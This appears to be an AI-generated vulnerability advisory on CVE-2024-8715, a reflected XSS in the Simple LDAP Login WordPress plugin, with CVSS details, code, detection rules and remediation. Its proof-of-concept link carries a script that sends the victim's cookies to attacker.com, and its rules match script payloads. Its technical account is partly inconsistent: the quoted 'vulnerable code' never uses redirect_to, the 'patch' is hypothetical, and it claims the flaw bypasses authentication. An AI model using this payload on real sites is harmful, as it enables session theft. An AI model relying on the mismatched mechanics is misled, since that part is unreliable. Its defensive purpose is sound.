CVE-2024-8715

Executive Summary

CVE-2024-8715 is a reflected Cross-Site Scripting (XSS) vulnerability in the Simple LDAP Login WordPress plugin, affecting all versions up to and including 1.6.0. The flaw arises from the insecure use of add_query_arg without proper output escaping on the URL, allowing unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to session hijacking, credential theft, or defacement within the WordPress admin context. The EPSS score is 0.0%, indicating low active exploitation, but the lack of a patch elevates the risk for unmaintained sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a third-party component, it introduces supply chain risk: site administrators must manually monitor for updates, and the plugin’s unpatched status means no official fix is available. Organizations relying on this plugin should consider replacing it with an actively maintained alternative.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The lack of a patch and the plugin’s integration with LDAP (potentially exposing internal directory data) increases the overall risk for affected WordPress installations.

Deep Dive & Mechanics

The vulnerability resides in the plugin’s URL handling logic. The add_query_arg function is used to construct redirect URLs after authentication, but the output is not escaped with esc_url() or similar sanitization. An attacker can craft a malicious URL containing JavaScript payloads in query parameters (e.g., ?redirect_to=<script>alert(1)</script>). When a user clicks the link, the script executes in the context of the WordPress admin dashboard, bypassing authentication checks.

Root Cause: The plugin fails to sanitize user-supplied input before passing it to add_query_arg, and the resulting URL is echoed directly into the page without escaping.

Attack Flow:

1. Attacker crafts a URL: https://target.com/wp-admin/admin.php?page=simple-ldap-login&redirect_to=<script>alert(document.cookie)</script>
2. Victim (authenticated admin) clicks the link.
3. The plugin processes the redirect_to parameter and outputs it unsanitized.
4. The injected script executes, stealing session cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.6.0):

$redirect_url = add_query_arg( 'page', 'simple-ldap-login', admin_url( 'admin.php' ) );
echo '<a href="' . $redirect_url . '">Return to settings</a>';

The $redirect_url is not escaped, allowing injection via the page parameter or other query args.

Patched Code (Hypothetical):

$redirect_url = add_query_arg( 'page', 'simple-ldap-login', admin_url( 'admin.php' ) );
echo '<a href="' . esc_url( $redirect_url ) . '">Return to settings</a>';

Using esc_url() ensures the output is safe for HTML attributes.

Exploitation & Lab Setup

Red Team (Proof of Concept)

Since no public exploit code is available, a manual PoC can be constructed:

<!-- Malicious link to send to victim -->
<a href="https://target.com/wp-admin/admin.php?page=simple-ldap-login&redirect_to=<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>">Click here</a>

Lab Setup:

1. Install WordPress with Simple LDAP Login plugin v1.6.0.
2. Log in as an admin.
3. Craft the malicious URL and send it to the admin user.
4. Observe the script execution in the browser console.

Blue Team (Detection & Hardening)

• Input Validation: Implement a Web Application Firewall (WAF) rule to block redirect_to parameters containing <script> tags.
• User Training: Educate admins to avoid clicking suspicious links, especially those containing query parameters.
• Plugin Replacement: Migrate to an actively maintained LDAP plugin (e.g., LDAP/Active Directory Integration).

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-admin/admin.php?page=simple-ldap-login with redirect_to containing encoded JavaScript (e.g., %3Cscript%3E).
• Logs: WordPress debug logs showing add_query_arg calls with unexpected parameters.
• File System: Modified simple-ldap-login.php if the attacker uploads a backdoored version.
• Browser: Console errors or unexpected redirects after clicking plugin links.

Detection Engineering

YARA Rule

rule CVE_2024_8715_Simple_LDAP_Login_XSS {
    meta:
        description = "Detects malicious requests targeting CVE-2024-8715 in Simple LDAP Login plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-8715"
    strings:
        $xss_payload = /redirect_to=.*<script/i
        $plugin_path = "simple-ldap-login"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: CVE-2024-8715 Simple LDAP Login Reflected XSS
id: 8a3f7c2e-1b4d-4f6a-9c8e-0d1f2a3b4c5d
status: experimental
description: Detects reflected XSS attempts against Simple LDAP Login plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/wp-admin/admin.php?page=simple-ldap-login"
        c-uri|re: "redirect_to=.*<script"
    condition: selection
falsepositives:
    - Legitimate use of redirect_to with non-malicious parameters
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-8715 Simple LDAP Login Reflected XSS Attempt";
    flow:to_server,established;
    content:"/wp-admin/admin.php"; http_uri;
    content:"page=simple-ldap-login"; http_uri;
    pcre:"/redirect_to=.*<script/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for operations.
2. Apply virtual patching via WAF to block redirect_to parameters containing HTML/JavaScript.
3. Monitor logs for exploitation attempts.

Long-Term Fix:

• Since no official patch exists, replace the plugin with an alternative (e.g., LDAP/Active Directory Integration by miniorange).
• If the plugin is essential, manually patch the vulnerable code by adding esc_url() to all add_query_arg outputs.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.